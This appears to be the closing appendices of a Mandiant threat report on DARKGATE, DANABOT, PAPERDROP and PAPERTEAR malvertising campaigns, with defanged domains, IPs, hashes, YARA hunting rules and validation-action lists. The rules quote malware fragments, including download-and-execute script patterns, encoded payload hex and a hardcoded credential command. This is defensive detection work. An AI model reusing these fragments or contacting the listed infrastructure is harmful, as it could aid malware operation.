positivereview[.]cloud

23-046

DARKGATE

UNC5085

Domain

dreamteamup[.]shop

23-046

DARKGATE

UNC5085

Domain

whatup[.]cloud

23-046

DARKGATE

UNC5085

Domain

thebesttime[.]buzz

23-046

DARKGATE

UNC5085

IP Address

47.253.165[.]1

23-046

 

UNC2975

IP Address

8.209.99[.]230

23-046

 

UNC2975

IP Address

47.252.45[.]173

23-046

 

UNC2975

IP Address

47.252.33[.]131

23-046

 

UNC2975

IP Address

47.253.141[.]12

23-046

 

UNC2975

IP Address

47.252.45[.]173

23-046

 

UNC2975

IP Address

34.16.181[.]0

23-046

DANABOT

 

IP Address

35.247.194[.]72

23-046

DANABOT

 

IP Address

35.203.111[.]228

23-046

DANABOT

 

IP Address

94.228[.]169[.]143

23-051

PAPERTEAR

UNC5085

MD5

9f9c5a1269667171e1ac328f7f7f6cb3

23-046

DARKGATE

UNC5085

MD5

2c16eafd0023ea5cb8e9537da442047e

23-046

PAPERDROP (Type I)

UNC2975

MD5

7544f5bb88ad481f720a9d9f94d95b30

23-046

PAPERDROP

(Type I)

UNC2975

MD5

862a42a91b5734062d47c37fdd80c633

 

PAPERDROP

(Type II)

UNC2956

MD5

650b0b12b21e9664d5c771d78738cf9f

 

PAPERTEAR

UNC5085

MD5

9120c82b0920b9db39894107b5494ccd

23-051

PAPERTEAR

UNC5085

Appendix C: YARA Rules

rule M_Downloader_PAPERDROP_1

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only and 
has not been tested to run in a production environment."

 

    strings:

        $v1_1 = "missing from UIHFad computer"

        $v1_2 = "Dim UIHFad:set UIHFad = CreateObject(\"ADODB.Stream\")"

        $v2_1 = "a = \"QJWRWIIPQLYYREESOR"

        $v2_2 = "temp = temp + ChrW(Dict.Item(Mid(a,y-1,2)))"

        $v3_1 = "ChrW(Dict.Item(Mid("

        $v3_2 = "-1,2)))"

        $v3_3 = " Mod 2 = 0 and Dict.count <> 256  then"

        $v4_1 = " = CreateObject("

        $v4_2 = " Mod 2 = 0 and "

        $v4_3 = "Execute("

        $v4_4 = /if \w+ Mod 2 = 0 and \w+.count <> \w+ 
then[\x0a\x0d]{1,2}\w+.Add Mid\(\w+,\w+-1,2\),/

 

    condition:

        uint16(0)!=0x5A4D and ( all of ($v1*) or all of ($v2*) 
or all of ($v3*) or all of ($v4*))

}

rule M_Downloader_PAPERDROP_2

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "Scripting.Dictionary"

        $str2 = "CreateObject"

        $str3 = "Execute("

        $str4 = "Mod 2 = 0 and"

        $str5 = "WScript.Sleep"

        $str6 = "= Timer()"

        $str7 = "*Rnd+"

        $str8 = "nP = nP & \"C\""

 

    condition:

        all of them

}

rule M_Downloader_PAPERDROP_3

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "vbSystemModal+vbCritical"

        $str2 = "CreateObject(\"WScript.Shell\")"

        $str3 = "MSXML2.ServerXMLHTTP"

        $str4 = "ADODB.Stream"

        $str5 = "winmgmts:Win32_Process"

        $str8 = ".create"

 

    condition:

        all of them

}

rule M_Downloader_PAPERDROP_4

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "-1,2)"

        $str2 = "CreateObject"

        $str3 = "Execute("

        $str4 = "Mod 2 = 0 and Dict.count = 256 then"

        $str5 = "= \"https://"

 

    condition:

        all of them

}

rule M_Downloader_PAPERTEAR_1

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $s1 = ".setRequestHeader \"a\", all_process" ascii 

        $s2 = "CreateObject(" ascii 

        $s3 = "Select * from Win32_Process" ascii 

        $s4 = "For Each" ascii

        $s5 = "HTTP" ascii 

 

    condition:

        filesize < 1MB and all of ($s*)

}

rule M_Downloader_PAPERTEAR_2

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "WinHTTPRequest" ascii

        $str2 = "ShellExecute" ascii

        $str3 = ".Open \"post\"" ascii

        $str4 = ".responseText" ascii

        $str5 = "Shell.Application" ascii

 

    condition:

        all of them and filesize < 5MB

}

rule M_Backdoor_DARKGATE_1 

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "IF ( NOT FILEEXISTS ( @PROGRAMFILESDIR ) ) 
AND ( @USERNAME <> \"SYSTEM\" ) THEN" 

        $str2 = "BINARYTOSTRING ( \"0x\" &" 

        $str3 = "C:\\Program Files (x86)\\Sophos" 

        $str4 = "EXECUTE (BINARYTOSTRING ( \"0x" 

        $str5 = "DLLSTRUCTCREATE"

        $str6 = "446C6C43616C6C28227573657233322E646C6C222C20226C726573756
C74222C20224322266368722839372926226C6C57696E646F7750726F63222C20227
07472222C20446C6C5374727563744765745074722824"

 

    condition:

        all of them and filesize < 500KB

}

rule M_Backdoor_DARKGATE_2 

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $str1 = "IF ( NOT FILEEXISTS ( @PROGRAMFILESDIR ) ) AND 
( @USERNAME <> \"SYSTEM\" ) THEN" 

        $str2 = "BINARYTOSTRING ( \"0x\" &" 

        $str3 = "C:\\Program Files (x86)\\Sophos" 

        $str4 = "EXECUTE ( BINARYTOSTRING ( \"0x" 

        $str5 = "DLLSTRUCTCREATE" 

        $str6 = "00C680A438000045C680A538000000C680A638000049C680A738000000C68
0A83800004EC680A938000000C680AA38000046" 

        $str7 = "CF013183C0024B75D28B420403C28BD08BC28BC82B4DD48B5DDC3B8BA4000000
72A68B45DC8B40288945E48B45E80345E4FF" 

        $str8 = "446C6C43616C6C28227573657233322E646C6C222C20226C726573756C74222C
20224322266368Ω22839372926226C6C57696E646F7750726F63222C2022707472222
C20446C6C5374727563744765745074722824" 

 

    condition:

        all of them

}

rule M_Backdoor_DARKGATE_3 

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $x1 = "SYSTEM Elevation: Completed, new DarkGate connection with 
SYSTEM privileges" ascii

        $x2 = "-u 0xDark" ascii

        $x3 = "DarkGate" ascii

        $x4 = "/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\" 
/pass:\"darkgatepassword0\"" ascii

        $s1 = "c:\\temp\\crash.txt" ascii

        $s2 = "/cookiesfile \"" ascii

        $s3 = "/c rmdir /s /q \"" ascii

        $s4 = "/c xcopy /E /I /Y \"%s\" \"%s\" && exit" ascii

        $s5 = "U_MemScan" ascii

        $s6 = "U_Google_AD" ascii

        $s7 = "untBotUtils" ascii

        $s8 = "____padoru____" ascii

        $s9 = "u_SysHook" ascii

        $s10 = 
"zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=" ascii

        $s11 = "C:\\Windows\\System32\\ntdll.dll" fullword ascii

        $s12 = /(SYSTEM )?Elevation: (Cannot|I already|AT RAW|FAILURE)/ ascii

        $s13 = /Stub: (WARNING:|Configuration updated:
|Global Ping Invoked)/ ascii

 

    condition:

        (uint16(0)==0x5a4d and ((3 of ($x*)) or (2 of ($x*) and 3 of ($s*)) 
or (1 of ($x*) and 5 of ($s*)) or (6 of ($s*)))) or (10 of them)

}

rule M_Backdoor_DANABOT_1

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $api1 = "ZwWow64WriteVirtualMemory64" wide

        $api2 = "ConvertStringSecurityDescriptorToSecurityDescriptorW" wide

        $code1 = { DF 2C 01 DF 28 83 F9 08 7E 11 DF 68 08 83 F9 10 7E 06 DF 
68 10 DF 7A 10 DF 7A 08 DF 3A DF 3C 11 }

        $code2 = { 8A 45 AB 04 9F 2C 1A 73 04 }

 

    condition:

        uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 
and all of them

}

import "pe"

 

rule M_Backdoor_DANABOT_2

{

    meta:

        author = "Mandiant"

        disclaimer = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."

 

    strings:

        $code = { A1 [4] 05 [4] A3 [4] A1 [4] 2B 05 [4] A3 [4] 83 7D BC 0B }

        $str1 = "System.Xml.XmlSerializer.dll" wide

        $str2 = "System.IO.Log.ni.dll" wide

        $str3 = "ncrypt.dll" wide

 

    condition:

        uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 
pe.is_dll() and (pe.exports("ServiceMain") and pe.exports("start")) and all of them

}

Appendix D: Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

S100-302

Malicious Activity Scenario - PAPERDROP and DANABOT Infection Chain, Variant #1

S100-301

Malicious Activity Scenario - PAPERTEAR and DARKGATE Infection Chain, Variant #1

S100-299

Malicious Activity Scenario - PAPERDROP and DANABOT Infection Chain, Variant #2

A106-888

Command and Control - PAPERTEAR, Download File Attempt, Variant #1

A106-781

Command and Control - UNC2975, DNS Query, Variant #1

A106-890

Command and Control - UNC2975, DNS Query, Variant #10

A106-782

Command and Control - UNC2975, DNS Query, Variant #2

A106-884

Command and Control - UNC2975, DNS Query, Variant #3

A106-872

Command and Control - UNC2975, DNS Query, Variant #4

A106-882

Command and Control - UNC2975, DNS Query, Variant #5

A106-873

Command and Control - UNC2975, DNS Query, Variant #6

A106-886

Command and Control - UNC2975, DNS Query, Variant #7

A106-875

Command and Control - UNC2975, DNS Query, Variant #8

A106-874

Command and Control - UNC2975, DNS Query, Variant #9

A106-784

Command and Control - UNC2975, PAPERDROP, DNS Query, Variant #1

A106-783

Command and Control - UNC2975, PAPERDROP, HTTP GET, Variant #1

A106-877

Host CLI - Launch Run Dialog via CMD

A104-160

Host CLI - Registry Run Keys

A106-887

Malicious File Transfer - AUTOIT, Download, Variant #1

A106-891

Malicious File Transfer - UNC2975, DANABOT Dropper, Download, Variant #1

A106-786

Malicious File Transfer - UNC2975, DANABOT, Download, Variant #1

A106-785

Malicious File Transfer - UNC2975, PAPERDROP Zip File, Variant #1

A106-880

Malicious File Transfer - UNC5085, AUTOIT Script Containing DARKGATE, Variant #1

A151-259

Protected Theater - DANABOT, Execution

A106-876

Protected Theater - DANABOT, Stop and Start Wininet Cache Task

A106-879

Protected Theater - UNC2975, DANABOT Dropper, Download, Variant #1

A106-787

Protected Theater - UNC2975, DANABOT MSI Dropper, Variant #1

A106-787

Protected Theater - UNC2975, DANABOT MSI Dropper, Variant #1

A106-770

Protected Theater - UNC4962, DARKGATE, Execution, Variant #1

A106-871

Protected Theater - UNC5085, DARKGATE Installer, Execution, Variant #1

Acknowledgements

The authors would like to thank all of the technical reviewers and blog contributors spanning multiple teams, including Managed Defense Threat Hunting, Advanced Analysis (AA), Advanced Practices (AP), Mandiant Intelligence (MI), Google Trust and Safety, Mandiant Communications Center (MCC), and trusted external partners. We’d also like to thank the Managed Defense SOC analysts who provided investigative support responding to these campaigns to protect our customers and the Detection Engineering and Automations (DEA) team for contributing detection content to finding new threats faster and more effectively. Credit for the creation of new Mandiant Security Validation actions goes to Lexie Aytes and the Validation Research team. And a tip of the hat to Ana Foreman for the timeline graphics.